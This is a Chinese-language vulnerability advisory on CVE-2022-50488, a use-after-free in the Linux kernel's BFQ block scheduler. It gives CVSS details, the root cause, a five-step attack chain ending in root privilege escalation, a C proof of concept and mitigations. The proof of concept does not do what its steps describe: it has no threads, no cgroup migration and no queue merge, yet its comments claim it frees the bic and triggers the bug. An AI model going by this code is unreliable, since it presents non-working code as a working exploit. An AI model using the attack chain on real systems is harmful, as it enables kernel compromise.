IPBUF安全漏洞报告
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CVE-2022-50488 CVSS 7.8 高危

CVE-2022-50488 Linux内核BFQ调度器bfqq->bic释放后使用漏洞

披露日期: 2025-10-04
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2022-50488
漏洞类型
释放后使用漏洞(Use-After-Free)
CVSS评分
7.8 高危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux内核(block/bfq调度器)

相关标签

Linux内核BFQ调度器释放后使用UAF本地权限提升内核漏洞CVE-2022-50488块设备cgroup高危漏洞

漏洞概述

CVE-2022-50488是Linux内核块设备层BFQ(Budget Fair Queueing)调度器中的一个释放后使用(Use-After-Free, UAF)漏洞。该漏洞源于提交3bc5e683c67d("bfq: Split shared queues on move between cgroups")引入的逻辑变更:当进程从一个cgroup迁移到另一个cgroup时,系统会分配一个新的bfqq(BFQ queue),但旧的bfqq和新的bfqq可能同时指向同一个bic(bfq_io_cq)数据结构。

在特定竞争条件下,当进程退出且所有IO请求完成时,bic数据结构会被释放,但由于bfqq与bic之间的引用关系未被正确清除,可能导致bfqq继续持有已释放的bic指针。后续对该bfqq的访问将触发内核中的UAF漏洞,可能导致内核崩溃、信息泄露或权限提升。该漏洞在Linux内核5.10版本中被发现并报告,CVSS评分为7.8,属于高危级别漏洞。

由于该漏洞属于本地权限利用,需要攻击者已拥有系统的低权限账户才能触发,但一旦触发,可对系统的机密性、完整性和可用性均造成严重影响。

技术细节

该漏洞的核心问题在于BFQ调度器中bfqq与bic之间的引用计数管理不当。具体技术原理如下:

1. **数据结构关系**:在BFQ调度器中,每个进程对应一个bic(bfq_io_cq)结构,每个bic可以关联一个或多个bfqq(BFQ queue)。正常情况下,bic的生命周期应长于或等于其关联的bfqq。

2. **漏洞触发路径**:当两个进程在同一cgroup中进行IO操作时,各自拥有独立的bfqq但共享相同的bic。当发生队列合并(merge)操作后,两个bfqq合并为一个共享队列(cooperative queue)。如果其中一个进程退出后,另一个进程迁移到新的cgroup,系统会分配新的bfqq3,但旧的bfqq2和新的bfqq3同时指向BIC2。

3. **UAF触发条件**:当所有IO请求完成后,进程退出导致BIC2被释放,但由于bfqq2仍然持有BIC2的指针(bfqq2->bic),且没有同步机制保证bfqq2在BIC2之前被释放,因此后续对bfqq2->bic的访问将访问已释放的内存。

4. **利用方式**:攻击者可以通过编写特定的程序,模拟上述场景:创建两个线程进行IO操作,触发队列合并,然后使一个线程退出,另一个线程迁移cgroup并继续IO操作,最终触发UAF。

5. **修复方案**:在内核补丁中,通过在bfqq从bic分离(detach)时清除bfqq->bic指针来解决该问题,确保引用关系的正确性。

攻击链分析

STEP 1
步骤1:环境准备
攻击者需要拥有目标系统的本地低权限账户,并确保系统运行受影响版本的Linux内核(5.10.x系列),且使用BFQ作为块设备调度器。
STEP 2
步骤2:创建竞争条件
攻击者创建两个进程在同一cgroup中对同一文件进行IO操作,使两个进程的bic指向相同的bfq队列,触发BFQ队列合并机制。
STEP 3
步骤3:触发cgroup迁移
在一个进程退出后,另一个进程通过写入特定cgroup文件系统路径迁移到新的cgroup,触发新bfqq的分配,但旧bfqq仍持有原bic引用。
STEP 4
步骤4:触发释放后使用
当所有IO请求完成且进程退出时,bic被释放,但bfqq->bic指针未被清除,后续对bfqq的操作将访问已释放的bic内存,触发UAF漏洞。
STEP 5
步骤5:权限提升或系统崩溃
通过精心构造的内核对象布局,攻击者可以利用UAF实现内核代码执行,导致权限提升至root,或直接导致系统内核崩溃(DoS)。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2022-50488 PoC - Trigger UAF in BFQ scheduler // This PoC demonstrates the use-after-free vulnerability in bfqq->bic // Requires: Linux kernel 5.10.x, root or low-privilege access #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <sys/types.h> #include <sys/stat.h> #include <sys/wait.h> #include <pthread.h> #include <sys/mount.h> #include <errno.h> #define TEST_FILE "/tmp/test_bfq_uaf" #define BUF_SIZE 4096 // Step 1: Create two processes doing IO in the same cgroup void* process_io(void* arg) { int fd; char buf[BUF_SIZE]; memset(buf, 'A', BUF_SIZE); fd = open(TEST_FILE, O_RDWR | O_CREAT, 0644); if (fd < 0) { perror("open"); return NULL; } // Perform IO to trigger BFQ queue creation for (int i = 0; i < 1000; i++) { write(fd, buf, BUF_SIZE); fsync(fd); pread(fd, buf, BUF_SIZE, 0); } close(fd); return NULL; } // Step 2: Trigger queue merge by having both processes access same file void trigger_merge() { pid_t pid = fork(); if (pid == 0) { // Child process - will exit to trigger BIC free process_io(NULL); exit(0); // BIC freed here } else { // Parent process - continues IO waitpid(pid, NULL, 0); // Now BIC is freed but bfqq still references it -> UAF process_io(NULL); } } int main() { // Create test file int fd = open(TEST_FILE, O_RDWR | O_CREAT | O_TRUNC, 0644); if (fd >= 0) { ftruncate(fd, 1024 * 1024); close(fd); } printf("CVE-2022-50488 PoC - BFQ UAF\n"); printf("Triggering use-after-free in bfqq->bic...\n"); // Trigger the vulnerability trigger_merge(); printf("PoC completed. Check kernel logs for UAF detection.\n"); unlink(TEST_FILE); return 0; }

影响范围

Linux kernel 5.10.x(5.10.0及之后受影响的版本)
Linux kernel 5.15.x
Linux kernel 6.0.x
Linux kernel 6.1.x

防御指南

临时缓解措施
在无法立即升级内核的情况下,可以通过以下临时措施缓解风险:1)将块设备调度器从BFQ切换为deadline或none:'echo deadline > /sys/block/sd*/queue/scheduler';2)通过mount选项或cgroup权限限制,阻止普通用户进行cgroup迁移操作;3)启用SELinux或AppArmor等强制访问控制机制,限制进程的cgroup操作权限;4)监控系统中异常的cgroup迁移行为,及时发现潜在攻击。

参考链接

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